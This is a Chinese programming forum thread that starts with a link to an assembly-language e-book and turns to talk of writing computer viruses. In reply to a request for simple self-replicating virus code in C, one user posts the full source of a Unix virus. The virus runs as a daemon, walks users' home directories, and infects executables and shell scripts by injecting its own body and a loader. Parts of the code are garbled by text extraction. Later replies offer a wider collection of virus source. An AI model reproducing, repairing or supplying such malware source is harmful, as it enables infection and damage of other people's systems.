返回列表 发帖

[教程--E书]汇编语言编程艺术

本书以X86系列微机为背景,从简单的Hello程序开始,系统而详细地阐述了X86微机汇编语言编程的各种基础知识和编程技巧,内容涉及到数据表示、存储器管理、各种数据类型、过程、与汇编语言相关的体系结构、控制结构、文件、宏指令、位处理指令、字符串指令、MMX指令、类和对象,以及混合语言编程等,尤其是在高级汇编语言(HLA)方面,该书给予了细致深入的讲解。对于有意学习X86汇编语言编程的程序员来说,这是一本难得的好书。本书的作者Randall Hyde在大学中教授汇编语言十多年,并且开发了好几个商用软件,具有丰富的汇编语言开发经验。该书的英文电子版受到了成千上万的网站和高级程序员的高度评价,已经成为了高级汇编语言编程方面的一本经典之作。虽然该书的出版时间不长,但在Amazon上为该书作出评价的人很多,而且几乎所有的人都给予5星的评价,可见其内容之好。笔者相信,随着时间的推移,它在程序员中的影响回越来越大。
http://act.it.sohu.com/book/serialize.php?id=531

[教程--E书]汇编语言编程艺术

全收了,星星真是知我啊,我正在看汇编的书,你就给我资料,呵呵!!!UP一下,顺便唱一句,星星知我心,

TOP

[教程--E书]汇编语言编程艺术

学redcode啊
然后我们玩程序大战啊:)

TOP

[教程--E书]汇编语言编程艺术

怎么玩???redcode是墨子东西啊?

TOP

[教程--E书]汇编语言编程艺术

我经常和小研玩
暑假还准备去北京和她玩去
呵呵
是一种汇编语言
自己写程序战斗看谁程序先杀死对方:)

TOP

[教程--E书]汇编语言编程艺术

病毒也就是当初在美国大学实验室里那些研究人员这样玩搞出来的!

TOP

[教程--E书]汇编语言编程艺术

能不能教我怎么弄?

TOP

[教程--E书]汇编语言编程艺术

下面引用由漫天樱舞2005/06/10 12:27pm 发表的内容:
我经常和小研玩
暑假还准备去北京和她玩去
呵呵
是一种汇编语言
...
我在学习安全的时候就是跟我一个朋友天天互相入侵.从个人到服务器都是入侵过,还不段的加大难度..找一个伙伴学习会更快的.呵呵~~~鹦鹉要来北京吗??我在北京也,有时间可以到我这里玩玩.呵呵~~~~

TOP

[教程--E书]汇编语言编程艺术

我暑假两个月都在北京

x86,到时候我整理下这方面东西给你

TOP

[教程--E书]汇编语言编程艺术

下面引用由kkting2005/06/10 01:03pm 发表的内容:
病毒也就是当初在美国大学实验室里那些研究人员这样玩搞出来的!
1983年11月3日泊雷恩。科恩博士研制出一种在运行过程中可自我复制的破坏性程序
伦。爱德勒曼将它命名为病毒!

TOP

[教程--E书]汇编语言编程艺术

现在觉得病毒是一们高深的技术哦,真想自己学着写一个,哪怕是最简单的自我复制,呵呵....哪位高手能不能提供点资料?c语言的...

TOP

[教程--E书]汇编语言编程艺术

/* A VIRUS IN UNIX !!!! */ /* written by NCKU EE htk */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define CHK 512 #define PERM S_IRWXU #define CHKT 10 #define LOADER "\nrm -f /tmp/.@`whoami`;cat < " #define LOADER2 " |tail -c 18606 >/tmp/.@`whoami`;chmod 700 /tmp/.@`whoami`;/tmp/.@`whoami`;rm -f /tmp/.@`whoami`;exit;\n" /* ^^^^^modify here !!! */ #define VL 18606 /* and ^^^^^ here !!! */ #define VLL -VL #define BUFSIZE 25088 #define BSI 80 #define EXE 1 #define SCR 2 struct flock bk; int fo,f,status=NULL; int flagn=0; void main(argc,argv,envp) int argc; char *argv[]; char *envp[]; { char *buf2,*fname; static char pidp[BSI]="/tmp/."; static char bufr[BSI]=""; static int dec; unsigned int k,kep; struct passwd *getp; int caller(void); int chec(int); char *base(char *); char *find(void); void catch(void); int check(char *,int); signal(SIGCLD,SIG_IGN); strcat(pidp,ecvt((double)getuid(),chec(getuid()),&dec,&dec)); fname=(char *)tempnam("/tmp",NULL); buf2=(char *)malloc(BUFSIZE); if((fo=open(argv[0],O_RDONLY))<0 || (f=creat(fname,PERM))<0) exit(1); if((kep=lseek(fo,0L,2))>2*VL) { lseek(fo,VLL,2); k=read(fo,buf2,VL); write(f,buf2,k); lseek(fo,VL,0); while((k=read(fo,buf2,BUFSIZE))>0) write(f,buf2,k); /* ignore more lefting virus in a tail */ } else { lseek(fo,VL-kep,2); k=read(fo,buf2,kep-VL); write(f,buf2,k); } close(f); chmod(fname,S_IRWXU); free(buf2); if((kep=fork())>0) { for(k=0;k if(*(argv[0]+k)==';@';) exit(0); execve(fname,argv,envp); } else if(kep==0) { sleep(2); unlink(fname); for(k=0;k getp=(struct passwd *)getpwuid(getuid()); strcpy(argv[0],base(getp->pw_shell)); /* initialize daemon process ... */ for(k=0;k<2;k++) close(k); umask(0); if(fork()!=0)exit(0); signal(SIGHUP,SIG_IGN); signal(SIGINT,SIG_IGN); signal(SIGTTOU,SIG_IGN); setpgrp(); if((kep=open("/dev/tty",O_RDWR))>=0) { ioctl(kep,TIOCNOTTY,(char *)0); close(kep); } if(fork()!=0)exit(0); signal(SIGUSR1,catch); if((kep=open(pidp,O_CREAT|O_RDWR,S_IRUSR|S_IWUSR))<0) exit(1); k=read(kep,bufr,BSI); if(k!=0) kill(atoi(bufr),SIGUSR1); strcpy(bufr,ecvt((double)getpid(),chec(getpid()),&dec,&dec)); lseek(kep,0L,0); do{ k=write(kep,bufr,strlen(pidp)+1); while((buf2=find())!=NULL) { getp=(struct passwd *)getpwnam(buf2); if(chdir((buf2=(char *)getp->pw_dir))<0) continue; if(ftw(buf2,caller,15)!=0) continue; } sleep(CHKT); setutent(); lseek(kep,0L,0); }while(1); } } int chec(num) int num; { int y=1; while((num=(int)(num/10))>=1) y++; return(y); } void catch(void) { flagn=1; } char *base(poi) char *poi; { int i; for(i=(strlen(poi)-1);i>=0;i--) if(*(poi+i)==';/';) return((char *)(poi+i+1)); return("sh"); } char *find() { static char name[9]=""; struct utmp *goal; goal=(struct utmp *)getutent(); if(goal->ut_type==USER_PROCESS) { strcpy(name,goal->ut_user); return(name); } if(goal==(struct utmp *)NULL) return(NULL); } int caller(name,statptr,type) char *name; struct stat *statptr; int type; { unsigned int nread,ymode; static char load[200]; char buf[VL],buf3[VL]; if(type==FTW_F) { ymode=statptr->st_mode; if(check(name,ymode)<0) { if(statptr->st_uid==getuid()) chmod(name,ymode); return(0); } if( status==SCR ) { strcpy(load,LOADER); strcat(load,name); strcat(load,LOADER2); lseek(f,0L,2); write(f,load,strlen(load)); lseek(fo,0L,0); nread=read(fo,buf,VL); write(f,buf,nread); } if( status==EXE ) { if(statptr->st_size>VL) { lseek(f,0L,0); nread=read(f,buf,VL); lseek(f,0L,2); write(f,buf,nread); lseek(fo,0L,0); nread=read(fo,buf,VL); lseek(f,0L,0); write(f,buf,nread); } else { lseek(f,0L,0); nread=read(f,buf3,VL); ymode=nread; lseek(fo,0L,0); nread=read(fo,buf,VL); lseek(f,0L,0); write(f,buf,nread); write(f,buf3,ymode); } } /* lseek(f,0L,0); lockf(f,F_ULOCK,0); */ /* author';s linux library has no above program library */ bk.l_type=F_UNLCK; bk.l_whence=0; bk.l_len=0; bk.l_start=0; fcntl(f,F_SETLK,&bk); if(statptr->st_uid==getuid()) chmod(name,ymode); close(f); } if(flagn) exit(0); return(0); } int check(name,ymode) char *name; int ymode; { char ch[CHK]; char ch2[CHK]; int rd,i; status=(int)NULL; if((f=open(name,O_RDWR))<0) { if(chmod(name,ymode|S_IRUSR|S_IWUSR)<0) return(-1); if((f=open(name,O_RDWR))<0) return(-1); } /* if(lockf(f,F_TLOCK,0)<0) { close(f); return(-1); } */ bk.l_type=F_WRLCK; bk.l_whence=0; bk.l_len=0; bk.l_start=0; if(fcntl(f,F_SETLK,&bk)<0) { close(f); return(-1); } lseek(f,0L,0); rd=read(f,ch,CHK); lseek(fo,0L,0); read(fo,ch2,rd); for(i=0;i if(ch!=ch2) { if( ch[0]!=';#'; && (ymode&(S_IXUSR|S_IXGRP|S_IXOTH)) ) { status=EXE; return(1); } else if( ch[0]==';#'; && lseek(f,0L,2)>VL ) /* you can improve the rule */ { lseek(f,VLL,2); rd=read(f,ch,CHK); lseek(fo,0L,0); read(fo,ch2,rd); for(i=0;i if(ch!=ch2) { status=SCR; return(1); } } else if(ch[0]==';#';) { status=SCR; return(1); } break; } close(f); return(-1); }

TOP

[教程--E书]汇编语言编程艺术

强!

TOP

[教程--E书]汇编语言编程艺术

下面引用由x862005/06/12 07:37pm 发表的内容:
现在觉得病毒是一们高深的技术哦,真想自己学着写一个,哪怕是最简单的自我复制,呵呵....哪位高手能不能提供点资料?c语言的...
可以找我要。。
我收集了一些病毒源码:)
PS:风灵风之子

TOP

[教程--E书]汇编语言编程艺术

喜欢,什么时候大家一起来玩~

TOP

返回列表 回复 发帖